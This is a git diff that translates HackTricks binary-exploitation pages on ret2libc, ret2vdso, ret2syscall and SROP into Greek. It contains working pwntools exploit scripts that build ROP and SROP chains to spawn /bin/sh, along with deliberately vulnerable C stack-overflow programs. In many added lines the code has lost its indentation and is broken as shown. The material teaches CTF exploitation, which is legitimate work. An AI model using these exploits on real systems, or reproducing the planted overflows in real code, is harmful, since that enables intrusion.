P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() - return hex(leak) +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) print(P.clean()) @@ -189,41 +184,30 @@ P.sendline(rop2) P.interactive() #Interact with your shell :) ``` +## Κοινά προβλήματα -## Common problems - -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code: +### MAIN_PLT = elf.symbols\['main'] δεν βρέθηκε +Αν το σύμβολο "main" δεν υπάρχει (πιθανώς επειδή είναι ένα stripped binary). Τότε μπορείτε απλά να βρείτε πού είναι ο κύριος κώδικας: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +και ορίστε τη διεύθυνση χειροκίνητα: ```python MAIN_PLT = 0x401080 ``` - ### Puts not found -If the binary is not using Puts you should **check if it is using** +Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts θα πρέπει να **ελέγξετε αν χρησιμοποιεί** ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Αν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` +Δοκιμάστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index a3a6c9ed5..8a4de157f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -4,10 +4,9 @@ ## Basic Information -There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. - -Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with: +Μπορεί να υπάρχουν **gadgets στην περιοχή vDSO**, η οποία χρησιμοποιείται για να αλλάξει από τη λειτουργία χρήστη στη λειτουργία πυρήνα. Σε αυτούς τους τύπους προκλήσεων, συνήθως παρέχεται μια εικόνα πυρήνα για να γίνει dump της περιοχής vDSO. +Ακολουθώντας το παράδειγμα από [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) είναι δυνατόν να δούμε πώς ήταν δυνατό να γίνει dump της ενότητας vdso και να μεταφερθεί στον host με: ```bash # Find addresses cat /proc/76/maps @@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso file vdso ROPgadget --binary vdso | grep 'int 0x80' ``` - -ROP gadgets found: - +ROP gadgets που βρέθηκαν: ```python vdso_addr = 0xf7ffc000 @@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` - > [!CAUTION] -> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +> Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα είναι τυχαία: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) ### ARM64 -After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: +Μετά την εξαγωγή και τον έλεγχο της ενότητας vdso ενός δυαδικού αρχείου στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κανένα ενδιαφέρον gadget (κανένας τρόπος να ελέγξω τους καταχωρητές από τις τιμές στη στοίβα ή να ελέγξω το x30 για μια επιστροφή) **εκτός από έναν τρόπο να καλέσω ένα SROP**. Δείτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα: {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 444927dfd..6ee65ec5c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -4,24 +4,23 @@ ## Basic Information -This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. +Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτή την περίπτωση δεν θα καλούμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτή την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουμε το syscall `sys_execve` με ορισμένα επιχειρήματα για να εκτελέσουμε το `/bin/sh`. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά αρχεία που έχουν μεταγλωττιστεί στατικά, οπότε μπορεί να υπάρχουν πολλά gadgets και οδηγίες syscall. -In order to prepare the call for the **syscall** it's needed the following configuration: +Για να προετοιμάσουμε την κλήση για το **syscall** χρειάζεται η εξής διαμόρφωση: - `rax: 59 Specify sys_execve` - `rdi: ptr to "/bin/sh" specify file to execute` - `rsi: 0 specify no arguments passed` - `rdx: 0 specify no environment variables passed` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. +Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που απαιτείται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή. > [!TIP] -> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +> Ένα άλλο ενδιαφέρον syscall που μπορεί να καλέσει είναι το **`mprotect`** το οποίο θα επιτρέπει σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/). ## Register gadgets -Let's start by finding **how to control those registers**: - +Ας ξεκινήσουμε βρίσκοντας **πώς να ελέγξουμε αυτούς τους καταχωρητές**: ```bash ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +Με αυτές τις διευθύνσεις είναι δυνατόν να **γράψετε το περιεχόμενο στη στοίβα και να το φορτώσετε στους καταχωρητές**. -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## Γράψτε συμβολοσειρά -## Write string - -### Writable memory - -First you need to find a writable place in the memory +### Γράψιμη μνήμη +Πρώτα πρέπει να βρείτε ένα γράψιμο μέρος στη μνήμη ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -46,26 +43,20 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### Γράψτε συμβολοσειρά στη μνήμη -### Write String in memory - -Then you need to find a way to write arbitrary content in this address - +Στη συνέχεια, πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +### Αυτοματοποίηση αλυσίδας ROP -### Automate ROP chain - -The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions: - +Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα ROP `sys_execve` δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και εντολές syscall: ```bash ROPgadget --binary vuln --ropchain ``` - -#### 32 bits - +#### 32 bit ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -87,9 +78,7 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` - #### 64 bits - ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -105,17 +94,15 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## Έλλειψη Gadgets -## Lacking Gadgets - -If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack: +Αν **λείπουν gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την **τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών** (συμπεριλαμβανομένων των RIP και των καταχωρητών παραμέτρων) από τη στοίβα: {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} -## Exploit Example - +## Παράδειγμα Εκμετάλλευσης ```python from pwn import * @@ -182,14 +169,13 @@ target.sendline(payload) target.interactive() ``` - -## Other Examples & References +## Άλλα Παραδείγματα & Αναφορές - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. +- 64 bits, no PIE, nx, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused +- 64 bits, nx, no PIE, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. Για να γράψετε στη στοίβα, εκμεταλλεύεστε μια συνάρτηση που εκτελεί μαθηματικές πράξεις. - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bits, no PIE, nx, BF canary, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 5b912eab8..d95bccd26 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -2,80 +2,73 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Βρείτε μια εισαγωγή στο arm64 στο: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Κώδικας -We are going to use the example from the page: +Θα χρησιμοποιήσουμε το παράδειγμα από τη σελίδα: {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +Συγκέντρωση χωρίς pie και canary: ```bash clang -o ret2win ret2win.c -fno-stack-protector ``` - ## Gadgets -In order to prepare the call for the **syscall** it's needed the following configuration: +Για να προετοιμάσετε την κλήση για το **syscall**, απαιτείται η εξής διαμόρφωση: - `x8: 221 Specify sys_execve` - `x0: ptr to "/bin/sh" specify file to execute` - `x1: 0 specify no arguments passed` - `x2: 0 specify no environment variables passed` -Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine: - +Χρησιμοποιώντας το ROPgadget.py, κατάφερα να εντοπίσω τα εξής gadgets στη βιβλιοθήκη libc της μηχανής: ```armasm ;Load x0, x1 and x3 from stack and x5 and call x5 0x0000000000114c30: - ldp x3, x0, [sp, #8] ; - ldp x1, x4, [sp, #0x18] ; - ldr x5, [sp, #0x58] ; - ldr x2, [sp, #0xe0] ; - blr x5 +ldp x3, x0, [sp, #8] ; +ldp x1, x4, [sp, #0x18] ; +ldr x5, [sp, #0x58] ; +ldr x2, [sp, #0xe0] ; +blr x5 ;Move execve syscall (0xdd) to x8 and call it 0x00000000000bb97c : - nop ; - nop ; - mov x8, #0xdd ; - svc #0 +nop ; +nop ; +mov x8, #0xdd ; +svc #0 ``` - -With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall. +Με τα προηγούμενα gadgets μπορούμε να ελέγξουμε όλους τους απαραίτητους καταχωρητές από τη στοίβα και να χρησιμοποιήσουμε το x5 για να μεταβούμε στο δεύτερο gadget για να καλέσουμε το syscall. > [!TIP] -> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. - -### Exploit +> Σημειώστε ότι η γνώση αυτής της πληροφορίας από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση μιας επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για αυτό το τρέχον παράδειγμα. +### Εκμετάλλευση ```python from pwn import * @@ -124,5 +117,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 20e07f3f2..7297506b0 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -4,23 +4,22 @@ ## Basic Information -**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. +**`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα. -After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. +Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην έχει συμβεί τίποτα. Εδώ έρχεται η **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος. -The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. +Το ενδιαφέρον είναι πώς η **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον μπλοκαρισμένο, **`sigreturn` απομακρύνει αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στο stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack. > [!CAUTION] -> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. +> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές των καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`. -Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: +Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls: {{#ref}} ../rop-syscall-execv/ {{#endref}} -If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): - +Αν σας ενδιαφέρει, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l | __reserved | sigmask | +--------------------+--------------------+ ``` - -For a better explanation check also: +Για μια καλύτερη εξήγηση, ελέγξτε επίσης: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -## Example - -You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there: +## Παράδειγμα +Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτή είναι η τελική εκμετάλλευση από εκεί: ```python from pwn import * @@ -91,9 +88,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**: - +Ελέγξτε επίσης το [**exploit από εδώ**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) όπου το δυαδικό αρχείο καλούσε ήδη το `sigreturn` και επομένως δεν είναι απαραίτητο να το κατασκευάσουμε με ένα **ROP**: ```python from pwn import * @@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload # Drop to an interactive shell target.interactive() ``` - -## Other Examples & References +## Άλλα Παραδείγματα & Αναφορές - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. +- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται μέσα στη μνήμη του binary. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). +- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. +- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. +- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί ένα syscall και στη συνέχεια καλεί `exit`. Το επιλεγμένο syscall είναι ένα `sigreturn` που θα ορίσει τους καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει το `memprotect` για να ορίσει τον χώρο του binary σε `rwx` και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. +- Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index ad3191732..d128afeac 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -2,10 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Pwntools example - -This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**: +## Pwntools παράδειγμα +Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό αρχείο **διαβάζει στη στοίβα** και στη συνέχεια καλεί **`sigreturn`**: ```python from pwn import * @@ -33,55 +32,49 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` +## παράδειγμα bof -## bof example - -### Code - +### Κώδικας ```c #include #include #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("mov x8, 0x8b; svc 0;"); - return; +if (do_arg == 1) +__asm__("mov x8, 0x8b; svc 0;"); +return; } char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { 